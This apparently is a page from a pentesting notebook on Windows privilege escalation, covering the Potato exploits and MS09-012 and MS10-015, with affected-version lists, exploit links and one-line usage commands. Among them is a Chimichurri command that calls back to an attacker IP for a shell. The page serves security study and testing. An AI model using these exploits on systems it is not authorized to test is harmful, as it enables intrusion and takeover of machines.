> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/windows-priv-esc/windows-kernel-vulnerabilities.md).

# Windows Kernel Vulnerabilities

### Potato (high) <a href="#potato-high" id="potato-high"></a>

* **Affected version**
* Not depend on OS version

`JuicyPotato.exe whoami`

* <https://github.com/ohpe/juicy-potato/releases>

### Rotten Potato

`RottenPotato.exe`

* <https://github.com/foxglovesec/RottenPotato>

### MS09-012 (high) <a href="#ms09-012-high" id="ms09-012-high"></a>

**affected version**

```
Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 
Windows XP Service Pack 3
Windows XP Professional x64 Edition 
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 1
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition 
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP1 for Itanium-based Systems 
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista 
Windows Vista Service Pack 1
Windows Vista x64 Edition 
Windows Vista x64 Edition Service Pack 1
Windows Server 2008 for 32-bit Systems
Windows Server 2008 for x64-based Systems
Windows Server 2008 for Itanium-based Systems
```

* Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation
* <https://www.exploit-db.com/exploits/6705>
* <https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS09-012>
* Usage

```
churrasco.exe whoami
```

* <https://github.com/Re4son/Chimichurri>
* Usage

```
 Chimichurri.exe <my ip> 5555
```

### MS10\_015 (high) <a href="#ms10_015-high" id="ms10_015-high"></a>

* **affected version**

```
Windows Server 2003, Windows Server 2008, 7, XP
Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 
Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista、Windows Vista Service Pack 1 
Windows Vista Service Pack 2
Windows Vista x64 Edition、Windows Vista x64 Edition Service Pack 1 
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems 
Windows Server 2008 for 32-bit Systems Service Pack 2*
Windows Server 2008 for x64-based Systems 
Windows Server 2008 for x64-based Systems Service Pack 2*
Windows Server 2008 for Itanium-based Systems 
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems
```

* **Non-affected version**

```
Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems
Windows Server 2008 R2 for Itanium-based Systems
```